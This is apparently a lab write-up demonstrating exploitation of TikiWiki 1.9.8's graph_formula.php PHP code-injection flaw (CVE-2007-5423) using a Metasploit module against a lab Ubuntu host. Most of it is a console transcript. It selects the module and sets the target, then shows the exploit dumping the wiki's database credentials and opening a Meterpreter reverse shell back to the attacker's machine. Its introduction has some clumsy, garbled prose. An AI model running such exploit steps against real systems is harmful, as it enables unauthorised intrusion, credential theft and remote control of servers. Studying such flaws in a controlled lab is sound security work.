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## Tikiwiki

### Introduction:

Tiki is a software system for managing content on websites. The system provides users with creation and management tools, it enables For them, for example, to create web pages and manage them, to control the change of their design, for example, to create new web pages, And even share web pages with other users. The Tiki system is written in the PHP programming language whose code is handled by a browser running on the side The server. The language makes it possible to develop dynamic websites and web pages, and is quite common today in website development. The interpreter of the language running on the server uses the resources of the server itself, such as the system files and in server databases The TikiWiki system can run on any web server that supports the language PHP and it uses the MySQL database. The victim's Ubuntu machine has Tiki system version 1.9.8 installed. This system was discovered in 2007.

The discovered vulnerability allowed users to inject arbitrary PHP code which could cause various damages to the server.

The Vulnerability caused by one of the scripts in the software (graph\_formula.php), there is one of the variables (named f) which passed by user and after that passed as parameter to function. In that vulnerability, malicious code passed and can caused damage. (shell for attacker and etc.)

Metasploit DB contain this payload (of the malicious code) and we can exploit by it tiki.

### The demonstration of exploit process:

let's examine how it works.  
First w'll find the payload:

```
root@kali: ~  
File Edit View Search Terminal Help  
msf exploit(seattlelab_pass) > info unix/webapp/tikiwiki_graph_formula_exec  
  
Name: TikiWiki tiki-graph_formula Remote PHP Code Execution  
Module: exploit/unix/webapp/tikiwiki_graph_formula_exec  
Platform: PHP  
Privileged: No  
License: Metasploit Framework License (BSD)  
Rank: Excellent  
  
Provided by:  
Matteo Cantoni <goony@nothink.org>  
jduck <jduck@metasploit.com>  
  
Available targets:  
Id Name  
-- --  
0 Automatic  
  
Basic options:  
Name Current Setting Required Description  
----  
Proxies no Use a proxy chain  
RHOST yes The target address  
RPORT 80 The target port  
URI /tikiwiki yes TikiWiki directory path  
VHOST no HTTP server virtual host  
  
Payload information:  
Space: 6144  
Avoid: 7 characters  
  
Description:  
TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker  
to execute arbitrary PHP code. The issue is due to  
'tiki-graph_formula.php' script not properly sanitizing user input  
supplied to create_function(), which may allow a remote attacker to  
execute arbitrary PHP code resulting in a loss of integrity.  
  
References:  
http://cvedetails.com/cve/2007-5423/  
http://www.osvdb.org/40478  
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set this vulnerability as our payload:

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msf exploit(seattlelab_pass) > use unix/webapp/tikiwiki_graph_formula_exec  
msf exploit(tikiwiki_graph_formula_exec) > show options  
  
Module options (exploit/unix/webapp/tikiwiki_graph_formula_exec):  
  
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Exploit target:  
  
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-- --  
0 Automatic
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set remote host.

And exploit..

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4 packets transmitted, 4 received, 0% packet loss, time 3003ms  
rtt min/avg/max/mdev = 0.660/0.748/0.853/0.080 ms  
msf exploit(tikiwiki_graph_formula_exec) > set RHOST 10.100.102.60  
RHOST => 10.100.102.60  
msf exploit(tikiwiki_graph_formula_exec) > exploit  
[-] Exploit failed: The following options failed to validate: RHOST.  
msf exploit(tikiwiki_graph_formula_exec) > set RHOST 10.100.102.60  
RHOST => 10.100.102.60  
msf exploit(tikiwiki_graph_formula_exec) > exploit  
[*] Started reverse handler on 10.100.102.63:4444  
[*] Attempting to obtain database credentials...  
[*] The server returned : 200 OK  
[*] Server version : Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6  
with Suhosin-Patch  
[*] TikiWiki database informations :  
db_tiki : mysql  
dbversion : 1.9  
host_tiki : localhost  
user_tiki : tiki  
pass_tiki : tikipassword  
dbs_tiki : tikiwiki  
[*] Attempting to execute our payload...  
[*] Sending stage (39848 bytes) to 10.100.102.60  
[*] Meterpreter session 1 opened (10.100.102.63:4444 -> 10.100.102.60:55831) at  
2022-12-01 04:35:42 -0500  
meterpreter > ls  
Listing: /var/www/tikiwiki  
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Yes it works!

We have a meterpreter shell.